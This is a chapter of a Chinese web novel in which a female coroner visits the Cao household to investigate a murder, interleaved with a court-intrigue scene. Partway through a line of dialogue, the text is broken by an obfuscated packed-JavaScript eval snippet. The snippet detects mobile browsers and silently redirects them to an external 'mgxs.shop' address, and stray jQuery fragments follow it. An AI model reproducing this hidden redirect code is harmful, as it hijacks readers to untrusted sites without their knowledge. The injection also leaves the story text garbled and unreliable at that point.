文趣网 > 都市小说 > 阴鸷权臣沦为弃夫后 > 6. 初登曹家
    仓应一听曹家神色一紧。

    “姑娘为何要去曹家?”

    “当然是办案,死者是曹家人,我得去查看他住处、平日里和谁交好、与谁有矛盾,谁最有可能下杀手这些都需去曹府。”

    仓应一开始本想说这些都有口供,可不知为什么最后却应了声:“好。”

    刚出提刑司大门云遥便看见等在门口的凌万顷。

    “怎么才出来。”凌万顷接过箱子,又是递水,又是给吃食的,这么等一下午要是自己早饿晕了。

    “尸体太碎,而且被猪肚液毁坏得严重,看起来便会慢些。”

    “如何,今日可有收获。”

    云遥就着水咽了口饼:“还没有,只有等明日去趟曹府看能不能找到线索。”

    “你要去曹府?”

    “对,目前唯一的突破口就在曹府。”

    “可有人陪同?要不我跟你一起去。”

    “暂且不用,明日你得帮我查个人。”

    “谁?”

    “吴屠夫吴大成”

    “你觉得他在贼喊捉贼?”

    凌万顷虽对验尸之事一窍不通,但她对云遥却是无师自通。自从她找到云遥那一刻起,她这具身体和她的血脉就自动相连,那些沉痛的记忆让她对云遥自觉生出怜爱之情,她早已经不单是这具身体的妹妹,更是她这个外来者与这个世界的脐带。这些年她也见过云遥帮官府破了不少案子,在扬州小有名气,知道云遥不会光凭感觉就去判定一个人是否是真凶。

    “八分可能,有些可疑之处还需我去查验查验,他对提刑司有隐瞒,且尸体的分割手法与他屠夫的身份也对得上,怀疑他是一件很正常的事儿。”查案不是一件可以套用常理的悬事,一个人的口供有所隐瞒他便要接受怀疑,但一个人的口供太过滴水不漏他依然会被怀疑,说来说去,跟案子有关的每一个人都可能是凶手。

    凌万顷忽然想起了曾经看过的一本刑侦悬疑的书,里面有句话是这么说的。

    “谎话所提供的信息并不比真话少。”

    因为每个谎言都需要解释,而解释会构成新的谎言。

    夜色中二人缓缓前行消失在熙攘人群里,全然不知身后一直有人跟随。

    深夜,偌大的谢府死气沉沉,夏靳穿过前屋,层层排列的屋子望不到头,路过荷花池又往左侧去,直至议事厅后才至梧桐院。

    院内四下无人,只一侧书房还亮着盏灯,谢惟渊手里握着几股白色麻布。

    “你是说提刑司今日去了一位女仵作,明日还要去曹家。”

    “是,大人。”

    “有意思,提刑司那些个草包竟还找了个替死鬼。”

    “大人,那女子会不会是曹家的人。”夏靳怀疑道。

    谢惟渊:“曹成璋那奸人是不会让女子插手此事的。”

    “那万一那女子真查出什么,洗脱了曹家的嫌疑那对我们可是大大的不利,要不要我......”“不必,让她查便是,若能查出来也算她的本事,若查不出来也是自寻死路,怪不得他人。”

    “属下明白。”

    “若发现那女子有意与曹家勾结,一并处理。”

    “属下得令,属下还有一事要与大人商议。”

    “何事?”

    “曹相近日拉拢朝中重臣意图干涉立嗣一事,明日古岩寺的祭拜大人是否可有......”

    谢惟渊停下手上动作,缓缓抬头:“说”

    “可否暂且将古岩寺祭拜一事搁置半天。”

    声音落下后房间中久久安静,针落可闻,夏靳蹲跪在地,座上的那双锐利幽深的眼让他后背沁出一层薄汗。

    谢惟渊默不作声,空气凝滞。

    从前有人说他生来便没有圆满的命格,所以他的母亲那样憋屈地死去,他的父亲踩着母亲平步青云,整个谢家将他驱逐,就连他对这个世间唯一的执念都被残忍夺走,而现在还有人妄图让他丢掉唯一的支柱。

    “夏靳,你来我身边多久了?”

    “回大人,两年又七个月。”

    “两年七个月,很好,那是谁给你的胆子胆敢干涉本相!”

    胸腔积郁的怒火喷涌,整个屋内被那股威压填得严严实实,以至于夏靳整个人匍匐在地几乎喘不过气,他知道那件事对大人很重要,可若立嗣一事被曹相敲定,那整个谢家万劫不复,他不愿大人那般。

    “属下知错,还请大人恕罪。”

    谢惟渊自然知道夏靳心中所想,他很忠诚,也很得力,可任何人都不能说出那等找死的话。

    “你与母亲的主仆之情只能保你一次,所以别再有下次。”

    夏靳稍稍松了口气,伏跪拜谢:“谢大人。”连忙退了出去。

    夏靳走后,静谧的房中只剩谢惟渊一人,他身披白衣,墨发如瀑,面色惨白。

    手中的白色麻布在他手里变成一根麻绦带被他系在腰上。

    火烛摇曳,他骤然吐出一口鲜血,无力靠在太师椅上盯着那飘摇的火焰喃喃道:“等等我,我会早些来寻你的。”

    一早,云遥和仓应就到了曹家。

    仓应先上前敲门,等了许久后大门才慢慢打开。

    开门的是一位中年微胖男子,脸上长着颗大痣,上下扫了两人一眼不耐烦地问道:“何事?”

    仓应拿出提刑司令牌说道:“我们是提刑司的,前来查贵府府上昝刚死亡一案,还请大哥通报一声。”

    “前几日该查的该问的已经全部盘问了,怎的今天又来。”

    “这位姑娘还有些细节需要再确认一下。”

    那中年男子的目光落在云遥身上,随后问道:“她是谁?”

    “她是提刑司负责昝刚一案的仵作。”

    听提刑司竟然找了个女子来当仵作,那男子突然大笑,语气嘲弄道:“提刑司办案不力辱曹府名声我们大人还没与你们计较,如今还找个女子来糊弄我们,我看你们是不想安生了,滚。”

    “且慢”

    “这位大哥我们既是来查案便是为了早日查清真相还曹府一个清誉,每耽搁一刻曹府声誉即受损一刻,今日你若不让我们进去大不了我们等等,劳烦通判大人亲自出面向曹大人说明便是,只是这中间耽搁的时间所导致的后果这位大哥您怕是得全力扛下了。”

    “再者说没有重要的发现我们也不敢轻易打搅贵府,若托大哥的福能破获此案,日后提刑司陈案时也定将大哥这份忠心说与曹大人听听。”

    那中年男子虽还是有些犹疑,一时也拿不准云遥说的是真是假,最终担心自己误了事只好不情不愿道:“你二人在这

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17725974|208849||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    等着,我先去通传一声。”

    不一会儿那门房便回来告知二人可以进,但必须跟着他,不能随意乱走。

    几人匆匆而行,很快便到了昝刚生前的住处,门房叫来一名叫吉祥的年轻人,说平时都跟着昝刚一起,负责帮他打扫屋子的,叮嘱他务必盯紧云遥二人,不准四处乱走乱看。

    昝刚是曹府负责曹家公子采买的活儿,跟寻常洒扫的小厮不同,有自己的屋子。

    房间里除了一张床,一张圆桌几个柜子也便没有其它。

    “这位小哥,昝刚平日在府里可有与人结怨?”

    那叫吉祥的男子似乎有些怕说错话,紧张地摇摇头。

    “那可有犯过什么错被惩罚之类的。”

    云遥接着四处查看屋子,在柜子中发现了两个核桃,云遥拿起放在手中盘动,一边问:“昝刚失踪前有没有奇怪的地方,或者说了什么奇怪的话。”

    吉祥站在那儿没出声,仓应上前拍了拍他:“小哥别担心,知道什么便说什么,只是一个简单的盘问,不是怀疑你。”

    吉祥看了看仓应,又看了看云遥,见云遥笑意温和这才慢慢地说。

    “昝总管没有什么特殊的,失踪前几天也是一样负责完成公子交给他的采买任务。”

    “那他可有什么亲人,家住哪儿,近来可有亲人找上门来。”

    吉祥小声道:“我只知昝总管是并州人,我来曹府时他已经总管了,至于旁的我不太清楚。”

    手里的核桃实在硌手,云遥便换了只手又接着问:“那他就从来没有提起过他的亲人?”

    吉祥挠了挠头,很快想到了什么:“昝总管好像有个弟弟,上月初还曾来府上找过昝总管。”

    “昝刚有个弟弟?找他何事?”

    “对,我刚进府的时候,他说我的年纪跟他弟弟差不多大,但从那以后就再也没提过了。找他作甚我不太清楚,只记得昝总管给了他不少银钱。”

    “他平时就只负责采买?”

    “是的,昝总管经常帮公子搜罗奇珍异宝,有时候出去一趟要十天半个月才回来,每次寻来的东西公子都很喜欢,因此赏了他很多银钱。”

    “奇珍异宝。”云遥低声喃喃,准备放下手中的核桃,却发现刚刚盘核桃的右手手心发红,可左手却很顺滑,她举起核桃凑近了看,核桃左侧沟壑包浆更深,积汗更厚,云遥立刻想到了什么,立即起身打开屋里的衣柜从柜子里翻出两件衣服,拿起两边的袖子细细比对,左手的袖子磨损程度都要比右手严重。

    “吉祥,昝总管是左撇子?”

    吉祥惊讶地看向云遥:“姑娘怎么知道。”

    云遥丢下衣服朝吉祥道了声谢,带着仓应走了。

    一个人若是左撇子,那他左手掌心手指磨损更大,茧皮便会略微厚些,可昨日验的那具尸体并无此特征,她需要再次确认。

    二人脚步匆忙,就在快要出门时,前方突然传来一阵哄笑。

    抬眼望过去,只见一群人围着一家丁服饰的小厮,小厮双膝跪地,两只手撑着地上往前爬,而后弯腰舔了舔地上的一滩秽物,最后又冲着太师椅上的衣衫不整的男人“汪汪”叫了两声。

    “叫得好,给爷赏!”

    男人的声音与记忆中的重合,云遥神色一凛,是他。